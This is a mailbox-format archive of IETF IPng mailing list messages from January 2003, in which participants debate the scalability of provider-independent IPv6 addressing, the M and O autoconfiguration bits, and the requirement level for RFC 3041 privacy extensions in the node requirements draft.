MIME-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Message-ID: <963621801C6D3E4A9CF454A1972AE8F54B70@server2000.arneill-py.sacramento.ca.us>
X-MS-Has-Attach: 
x-mimeole: Produced By Microsoft Exchange V6.5.6803.0
X-MS-TNEF-Correlator: 
Thread-Topic: Enforcing unreachability of site local addresses
Thread-Index: AcLGV+iZFnDKzQGvS/+Jnk+FijtXjQAE3J/w
From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Dan Lanciani" <ipng-incoming@danlan.com>, <ipng@sunroof.eng.sun.com>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id h0S1a4Qb029615
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Dan,

> Dan Lanciani wrote:
> You are confusing the portability attribute of the address with
> the implementation of its routing. By the definition you chose,
> PI is a type of address. It is not a routing mechanism.

This is not the way "PI" is being understood in the realm that deals
with them, the RIRs. "PI" does not only mean portability, it also means
the routing mechanism that is (and always has been) in use, which is to
announce the prefix in the global routing table, making it grow.

I'm sorry I quoted the wrong document; my bad.
This is what I meant to quote:
http://www.ripe.net/ripe/docs/pi-pa.html
It is clear that "PI" is associated with an entry in the global routing
table.


> You have also declined to define what you would consider
> acceptable scalability.

1 billion sites is the lowest figure being considered. _Lowest_.


> You seem to be saying that you aren't happy with a solution
> unless it allows yesterday's archaic routing protocols running
> on today's hardware to handle the projected growth of the next
> decade.

If you donate, let's say, US$100 billion to telcos to build a completely
new architecture and backbone to support IPv6, you would have solved a
great deal of an issue. Credit card number, please.


> Such a requirement constrains the solution beyond any hope of
progress.

Not at all.

Michel.


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 27 17:39:39 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0S1dcQb029668;
	Mon, 27 Jan 2003 17:39:38 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0S1dcXn029667;
	Mon, 27 Jan 2003 17:39:38 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0S1dZQb029657
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 17:39:35 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0S1dZVK025201
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 17:39:35 -0800 (PST)
Received: from mgw-x4.nokia.com (mgw-x4.nokia.com [131.228.20.27])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA01483
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 17:39:29 -0800 (PST)
From: john.loughney@nokia.com
Received: from esvir04nok.ntc.nokia.com (esvir04nokt.ntc.nokia.com [172.21.143.36])
	by mgw-x4.nokia.com (Switch-2.2.1/Switch-2.2.0) with ESMTP id h0S1ftg29159
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 03:41:55 +0200 (EET)
Received: from esebh004.NOE.Nokia.com (unverified) by esvir04nok.ntc.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T600f46f150ac158f24077@esvir04nok.ntc.nokia.com>;
 Tue, 28 Jan 2003 03:39:27 +0200
Received: from esebe012.NOE.Nokia.com ([172.21.138.51]) by esebh004.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6139);
	 Tue, 28 Jan 2003 03:39:27 +0200
Received: from esebe022.NOE.Nokia.com ([172.21.138.113]) by esebe012.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6139);
	 Tue, 28 Jan 2003 03:39:27 +0200
X-MimeOLE: Produced By Microsoft Exchange V6.0.6375.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Subject: M & O Bits was: draft-ietf-ipv6-node-requirements-01.txt
Date: Tue, 28 Jan 2003 03:39:27 +0200
Message-ID: <A16A3EE4D4CA124FADC7987B1AC89FE440EBDE@esebe022.ntc.nokia.com>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: draft-ietf-ipv6-node-requirements-01.txt
Thread-Index: AcKRXVXiWnLCDjKyTJK4S8oRnGbqzg1EJwfA
To: <rdroms@cisco.com>
Cc: <Jim.Bound@hp.com>, <ipng@sunroof.eng.sun.com>
X-OriginalArrivalTime: 28 Jan 2003 01:39:27.0600 (UTC) FILETIME=[1849FF00:01C2C66E]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id h0S1dZQb029658
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Ralph,

I don't think that this was discussed completely last IETF.  I was wondering
if you could suggest some text for the current Node Requirements doc?

thanks,
John

> -----Original Message-----
> From: ext Ralph Droms [mailto:rdroms@cisco.com]
> Sent: 21 November, 2002 14:56
> To: Greg Daley; Loughney John (NRC/Helsinki)
> Cc: Bound, Jim; ipng@sunroof.eng.sun.com
> Subject: Re: draft-ietf-ipv6-node-requirements-01.txt
> 
> 
> There may be some additional discussion about the 'M' and 'O' 
> bits during 
> my slot in the ipv6 WG meeting Thu AM.
> 
> - Ralph
> 
> At 12:09 PM 11/21/2002 +0000, Greg Daley wrote:
> 
> >Hi Jim,
> >
> >I find it hard to tell if you mean it is wrong (incorrect) or
> >wrong (not the right way to go).
> >
> >about the current status though,
> >
> >section 5.4.5 of RFC 2462 mentions that a node which receives the
> >M flag goes should undertake stateful address configuration.
> >there is no MUST requirement in that section, though section 5.5
> >does say
> >
> >"the processing described below MUST be enabled by default"
> >
> >If the intention was that nodes which have DHCP/managed capability
> >support this when the M flag is set, it's unclear. At the moment,
> >it looks optional to implementors.
> >
> >Does it require update? Comments?
> >
> >Greg
> >
> >
> >"Bound, Jim" wrote:
> > >
> > > Today in v6ops I think I heard that compliance to the ND 
> M bit being set
> > > is optional.  That I think is wrong.  But the node reqs 
> doc states that
> > > dhcpv6 is unconditionally optional which is probably 
> correct because
> > > stateful may not imply dhcpv6 today.  But if the M bit is 
> set the host
> > > node (non router) must look for a stateful node.  We need 
> to get this
> > > right.
> > >
> > > P.S. John - I will have all my input on this to you in 
> the next few
> > > weeks.  But it looks real good. I like the terminology too.
> > >
> > > Regards.
> > >
> > > /jim
> > > [Honor, Commitment, Integrity]
> > >
> > > 
> --------------------------------------------------------------------
> > > IETF IPng Working Group Mailing List
> > > IPng Home Page:                      
> http://playground.sun.com/ipng
> > > FTP archive:                      
> ftp://playground.sun.com/pub/ipng
> > > Direct all administrative requests to 
> majordomo@sunroof.eng.sun.com
> > > 
> --------------------------------------------------------------------
> >--------------------------------------------------------------------
> >IETF IPng Working Group Mailing List
> >IPng Home Page:                      http://playground.sun.com/ipng
> >FTP archive:                      ftp://playground.sun.com/pub/ipng
> >Direct all administrative requests to majordomo@sunroof.eng.sun.com
> >--------------------------------------------------------------------
> 
> 

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 27 17:50:07 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0S1o7Qb029982;
	Mon, 27 Jan 2003 17:50:07 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0S1o6EL029981;
	Mon, 27 Jan 2003 17:50:06 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0S1o3Qb029974
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 17:50:03 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0S1o2VL011914
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 17:50:03 -0800 (PST)
Received: from SERVER2000.arneill-py.sacramento.ca.us (adsl-209-233-126-65.dsl.scrm01.pacbell.net [209.233.126.65])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id SAA13762
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 18:49:57 -0700 (MST)
Content-class: urn:content-classes:message
Subject: RE: Enforcing unreachability of site local addresses
Date: Mon, 27 Jan 2003 17:49:57 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Message-ID: <963621801C6D3E4A9CF454A1972AE8F54B71@server2000.arneill-py.sacramento.ca.us>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-mimeole: Produced By Microsoft Exchange V6.5.6803.0
Thread-Topic: Enforcing unreachability of site local addresses
Thread-Index: AcLGNf54lxeSJkA8S5KGNJgpikFdrwAN6qQA
From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Fred L. Templin" <ftemplin@IPRG.nokia.com>
Cc: <ipng@sunroof.eng.sun.com>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id h0S1o3Qb029975
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Fred,

> Fred L. Templin
> Your statements seem to be focused on the solutions we have
> at hand today along with the unspoken assumptions we have
> held as truths in the past. I used to think that carefully
> managed hierarchical routing was the only way to go to
> achieve scalability, but I am no longer wed to that
> assumption.

Can you explain the reasons of the divorce? What new stuff do you have
on the front of making PI scalable? Exclude map-and-encap, 8+8, GSE and
MHAP as these are not PI solutions.


> I don't think anyone is "gambling" on new and different solutions

Unless you have some realistically deployable answers to the question,
calling for PI now is a gamble that we will find a way to clean it or
leave behind a mess 10 times bigger than the v4 swamp.


> but I do believe we should keep the door open to them.

Closing the door to straight PI is not an option anyway, as straight PI
is the last resort if everything else fails.

Michel.


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 27 17:52:06 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0S1q5Qb000015;
	Mon, 27 Jan 2003 17:52:05 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0S1q5RL000014;
	Mon, 27 Jan 2003 17:52:05 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0S1q2Qb029999
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 17:52:02 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0S1q1VK028806
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 17:52:01 -0800 (PST)
Received: from mgw-x4.nokia.com (mgw-x4.nokia.com [131.228.20.27])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id SAA14441
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 18:51:55 -0700 (MST)
From: john.loughney@nokia.com
Received: from esvir04nok.ntc.nokia.com (esvir04nokt.ntc.nokia.com [172.21.143.36])
	by mgw-x4.nokia.com (Switch-2.2.1/Switch-2.2.0) with ESMTP id h0S1sMg03835
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 03:54:22 +0200 (EET)
Received: from esebh001.NOE.Nokia.com (unverified) by esvir04nok.ntc.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T600f5245a5ac158f24077@esvir04nok.ntc.nokia.com> for <ipng@sunroof.eng.sun.com>;
 Tue, 28 Jan 2003 03:51:50 +0200
Received: from esebh005.NOE.Nokia.com ([172.21.138.86]) by esebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6139);
	 Tue, 28 Jan 2003 03:51:50 +0200
Received: from esebe007.NOE.Nokia.com ([172.21.138.47]) by esebh005.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6139);
	 Tue, 28 Jan 2003 03:51:50 +0200
Received: from esebe022.NOE.Nokia.com ([172.21.138.113]) by esebe007.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6139);
	 Tue, 28 Jan 2003 03:51:50 +0200
X-MimeOLE: Produced By Microsoft Exchange V6.0.6375.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Subject: Node Requirements and 3041
Date: Tue, 28 Jan 2003 03:51:49 +0200
Message-ID: <A16A3EE4D4CA124FADC7987B1AC89FE4050D3E@esebe022.ntc.nokia.com>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: draft-ietf-ipv6-node-requirements-01.txt
Thread-Index: AcKRXVXiWnLCDjKyTJK4S8oRnGbqzg1EJwfAAABLmzA=
To: <ipng@sunroof.eng.sun.com>
X-OriginalArrivalTime: 28 Jan 2003 01:51:50.0101 (UTC) FILETIME=[D2DAA850:01C2C66F]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id h0S1q2Qb000005
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Hi all,

Last IETF, Thomas expressed some concerns about a MAY support 3041. Notes
from the meeting are:
 
 Thomas:  MAY on privacy extensions is too weak.  Should be a SHOULD
 if you are the type of node to which it applies. 

 Tony:  Shouldn't mention clients servers, etc., as this is too operational.

 Christian:  Agrees that we shouldn't talk about clients and
 servers, as they are not part of the architecture.

However, most discussions on the mailing list have given support to MAY, see
Francis' draft: http://www.ietf.org/internet-drafts/draft-dupont-ipv6-rfc3041harmful-01.txt

I'm unsure what the way forward would be. Current text is:

  4.5.3 RFC3041 - Privacy Extensions for Address Configuration in IPv6

	Privacy Extensions for Stateless Address Autoconfiguration [RFC-3041] MAY be supported.  

	Currently, there is discussion of the applicability of temporary addresses.  

Should the MAY remain, with some discussion of why 3041 is good or should it
be upgrated to a 'SHOULD be implemented' with reasons why & why not to use it?

thanks,
John

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 27 17:52:13 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0S1qDQb000018;
	Mon, 27 Jan 2003 17:52:13 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0S1qDfk000017;
	Mon, 27 Jan 2003 17:52:13 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0S1q1Qb029996
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 17:52:01 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0S1q0VL012465
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 17:52:01 -0800 (PST)
Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id SAA14587
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 18:51:55 -0700 (MST)
Received: from IDLEWYLDE.windriver.com ([147.11.72.1])
	by mail.wrs.com (8.9.3/8.9.1) with ESMTP id RAA03009;
	Mon, 27 Jan 2003 17:50:45 -0800 (PST)
Message-Id: <5.1.0.14.2.20030127204428.036adc18@mail.windriver.com>
X-Sender: mrw@mail.windriver.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Mon, 27 Jan 2003 20:50:17 -0500
To: "Michel Py" <michel@arneill-py.sacramento.ca.us>
From: Margaret Wasserman <mrw@windriver.com>
Subject: RE: Enforcing unreachability of site local addresses
Cc: "Dan Lanciani" <ipng-incoming@danlan.com>, <ipng@sunroof.eng.sun.com>
In-Reply-To: <963621801C6D3E4A9CF454A1972AE8F54B70@server2000.arneill-py
 .sacramento.ca.us>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk




>This is not the way "PI" is being understood in the realm that deals
>with them, the RIRs. "PI" does not only mean portability, it also means
>the routing mechanism that is (and always has been) in use, which is to
>announce the prefix in the global routing table, making it grow.

No matter what term I use, you seem to attach other attributes to it...

What words would you like me to use for portable, globally-routable
addresses that are assigned to an entity (home, enterprise, etc.) and
that can be used by that entity regardless of the ISP from which
they purchase their service, cannot be changed by the ISP, and don't
need to change if the entity changes ISPs.

I don't mean to imply, however, that these addresses would be
randomly assigned, or that there wouldn't be some way (other than
provider-based aggregation) to aggregate them.  In fact, we would
NEED to find a way to aggregate these addresses to make them
useful/scalable.  Possibilities for how to allocate aggregable
provider-independent addresses could include (among other options)
the geographical addresses that Tony Hain has proposed.

What term should I use for that?

Margaret



--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 27 18:02:28 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0S22SQb000479;
	Mon, 27 Jan 2003 18:02:28 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0S22R2G000478;
	Mon, 27 Jan 2003 18:02:27 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0S22OQb000471
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 18:02:24 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0S22OVK002426
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 18:02:24 -0800 (PST)
Received: from rtp-msg-core-1.cisco.com (rtp-msg-core-1.cisco.com [161.44.11.97])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id TAA07440
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 19:02:16 -0700 (MST)
Received: from funnel.cisco.com (localhost [127.0.0.1])
	by rtp-msg-core-1.cisco.com (8.12.2/8.12.6) with ESMTP id h0S2315o000900;
	Mon, 27 Jan 2003 21:03:01 -0500 (EST)
Received: from rdroms-w2k.cisco.com (rtp-vpn1-695.cisco.com [10.82.226.183]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id VAA23969; Mon, 27 Jan 2003 21:02:10 -0500 (EST)
Message-Id: <4.3.2.7.2.20030127205717.0395c8e0@funnel.cisco.com>
X-Sender: rdroms@funnel.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Mon, 27 Jan 2003 21:02:04 -0500
To: john.loughney@nokia.com
From: Ralph Droms <rdroms@cisco.com>
Subject: Re: M & O Bits was: draft-ietf-ipv6-node-requirements-01.txt
Cc: <Jim.Bound@hp.com>, <ipng@sunroof.eng.sun.com>
In-Reply-To: <A16A3EE4D4CA124FADC7987B1AC89FE440EBDE@esebe022.ntc.nokia.
 com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

John - the earlier discussions in the ipv6 WG meeting ran long, so we 
didn't get a chance to discuss draft-droms-dhcpv6-issues-00.txt, which 
includes some text on the 'M' and 'O' bits.

Anyway, I'll be travelling for the next couple of days.  I'll review the 
text in question and post some text no later than early next week.

- Ralph

At 03:39 AM 1/28/2003 +0200, john.loughney@nokia.com wrote:
>Ralph,
>
>I don't think that this was discussed completely last IETF.  I was wondering
>if you could suggest some text for the current Node Requirements doc?
>
>thanks,
>John
>
> > -----Original Message-----
> > From: ext Ralph Droms [mailto:rdroms@cisco.com]
> > Sent: 21 November, 2002 14:56
> > To: Greg Daley; Loughney John (NRC/Helsinki)
> > Cc: Bound, Jim; ipng@sunroof.eng.sun.com
> > Subject: Re: draft-ietf-ipv6-node-requirements-01.txt
> >
> >
> > There may be some additional discussion about the 'M' and 'O'
> > bits during
> > my slot in the ipv6 WG meeting Thu AM.
> >
> > - Ralph
> >
> > At 12:09 PM 11/21/2002 +0000, Greg Daley wrote:
> >
> > >Hi Jim,
> > >
> > >I find it hard to tell if you mean it is wrong (incorrect) or
> > >wrong (not the right way to go).
> > >
> > >about the current status though,
> > >
> > >section 5.4.5 of RFC 2462 mentions that a node which receives the
> > >M flag goes should undertake stateful address configuration.
> > >there is no MUST requirement in that section, though section 5.5
> > >does say
> > >
> > >"the processing described below MUST be enabled by default"
> > >
> > >If the intention was that nodes which have DHCP/managed capability
> > >support this when the M flag is set, it's unclear. At the moment,
> > >it looks optional to implementors.
> > >
> > >Does it require update? Comments?
> > >
> > >Greg
> > >
> > >
> > >"Bound, Jim" wrote:
> > > >
> > > > Today in v6ops I think I heard that compliance to the ND
> > M bit being set
> > > > is optional.  That I think is wrong.  But the node reqs
> > doc states that
> > > > dhcpv6 is unconditionally optional which is probably
> > correct because
> > > > stateful may not imply dhcpv6 today.  But if the M bit is
> > set the host
> > > > node (non router) must look for a stateful node.  We need
> > to get this
> > > > right.
> > > >
> > > > P.S. John - I will have all my input on this to you in
> > the next few
> > > > weeks.  But it looks real good. I like the terminology too.
> > > >
> > > > Regards.
> > > >
> > > > /jim
> > > > [Honor, Commitment, Integrity]
> > > >
> > > >
> > --------------------------------------------------------------------
> > > > IETF IPng Working Group Mailing List
> > > > IPng Home Page:
> > http://playground.sun.com/ipng
> > > > FTP archive:
> > ftp://playground.sun.com/pub/ipng
> > > > Direct all administrative requests to
> > majordomo@sunroof.eng.sun.com
> > > >
> > --------------------------------------------------------------------
> > >--------------------------------------------------------------------
> > >IETF IPng Working Group Mailing List
> > >IPng Home Page:                      http://playground.sun.com/ipng
> > >FTP archive:                      ftp://playground.sun.com/pub/ipng
> > >Direct all administrative requests to majordomo@sunroof.eng.sun.com
> > >--------------------------------------------------------------------
> >
> >
>
>--------------------------------------------------------------------
>IETF IPng Working Group Mailing List
>IPng Home Page:                      http://playground.sun.com/ipng
>FTP archive:                      ftp://playground.sun.com/pub/ipng
>Direct all administrative requests to majordomo@sunroof.eng.sun.com
>--------------------------------------------------------------------

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 27 18:05:18 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0S25IQb000530;
	Mon, 27 Jan 2003 18:05:18 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0S25H5n000528;
	Mon, 27 Jan 2003 18:05:17 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0S25EQb000521
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 18:05:14 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0S25EVL016333
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 18:05:14 -0800 (PST)
Received: from ss10.danlan.com (ss10.danlan.com [199.33.144.62])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id TAA21577
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 19:05:07 -0700 (MST)
Received: (from ddl@localhost)
	by ss10.danlan.com (8.9.3/8.9.3) id VAA10675;
	Mon, 27 Jan 2003 21:05:04 -0500 (EST)
Date: Mon, 27 Jan 2003 21:05:04 -0500 (EST)
From: Dan Lanciani <ipng-incoming@danlan.com>
Message-Id: <200301280205.VAA10675@ss10.danlan.com>
To: ipng@sunroof.eng.sun.com
Subject: RE: Enforcing unreachability of site local addresses
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

"Michel Py" <michel@arneill-py.sacramento.ca.us> wrote:

|> Dan Lanciani wrote:
|> You are confusing the portability attribute of the address with
|> the implementation of its routing. By the definition you chose,
|> PI is a type of address. It is not a routing mechanism.
|
|This is not the way "PI" is being understood in the realm that deals
|with them, the RIRs.

PI in the context of these discussions has always meant simply that the
address is provider independent.

|"PI" does not only mean portability, it also means
|the routing mechanism that is (and always has been) in use, which is to
|announce the prefix in the global routing table, making it grow.

This is exactly why I asked you to provide your definition for PI.

|I'm sorry I quoted the wrong document; my bad.
|This is what I meant to quote:
|http://www.ripe.net/ripe/docs/pi-pa.html
|It is clear that "PI" is associated with an entry in the global routing
|table.

It is clear now, after three rounds, that you have found a definition that
suits your "PI = Does *NOT* scale" assertion.  Combined with your implicit
assumption that linear growth of the routing tables does not scale you have
a truism.  And you have found a way to suggest that provider-independent
addressing does not scale, even though you are really talking about something
completely different.  Other than creating FUD, how is this helpful?

|> You have also declined to define what you would consider
|> acceptable scalability.
|
|1 billion sites is the lowest figure being considered. _Lowest_.

"1 billion sites" does *NOT* (see, I can use all caps too) express anything
about scalability.  It is the wrong data type.  I've already explained this
once.  Either you really don't understand the meaning of scalability or you
aren't serious about discussing it.

|> You seem to be saying that you aren't happy with a solution
|> unless it allows yesterday's archaic routing protocols running
|> on today's hardware to handle the projected growth of the next
|> decade.
|
|If you donate, let's say, US$100 billion to telcos to build a completely
|new architecture and backbone to support IPv6, you would have solved a
|great deal of an issue. Credit card number, please.

Obviously you aren't serious about discussing the actual scaling issues.

				Dan Lanciani
				ddl@danlan.*com
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 27 18:06:23 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0S26NQb000583;
	Mon, 27 Jan 2003 18:06:23 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0S26Mit000582;
	Mon, 27 Jan 2003 18:06:22 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0S26JQb000575
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 18:06:19 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0S26JVK003603
